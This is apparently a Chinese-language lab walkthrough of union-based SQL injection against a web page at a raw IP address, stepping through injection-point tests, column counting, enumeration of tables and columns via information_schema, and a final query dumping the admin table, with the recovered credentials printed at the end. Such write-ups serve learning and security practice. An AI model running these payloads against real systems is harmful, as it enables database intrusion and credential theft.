SQL注入 (1)

第一步:测试是否存在注入点,用and语句测试。

  1. http://120.203.13.75:6815/?id=1 and 1=1 
  2. http://120.203.13.75:6815/?id=1 and 1=2

SQL注入 (1)

SQL注入 (1)

一网址可以正常显示,二网址则无法显示,所以推断有注入点。

第二步:猜测字段

http://120.203.13.75:6815/?id=1 order by 2

http://120.203.13.75:6815/?id=1 order by 3

SQL注入 (1)

 

SQL注入 (1)

order by 2可以正常显示,order by 3显示不出来,所以该表存在2个字段。

第三步:找到页面中数据输入点。

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

SQL注入 (1)

显示2,说明2这个位置是输出点。

第四步:查看版本和当前数据库

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,version()

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,database()

SQL注入 (1)

SQL注入 (1)

第五步:通过数据库版本,查看目录表

1.查看所有表名:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

SQL注入 (1)

2.查看字段名字

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

SQL注入 (1)

SQL注入 (1)

然后知道了username和password在admin中

第六步:查找密码

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,concat(id,'.',username,'.',password) from admin 

SQL注入 (1)

用户名:admin

密码:hellohack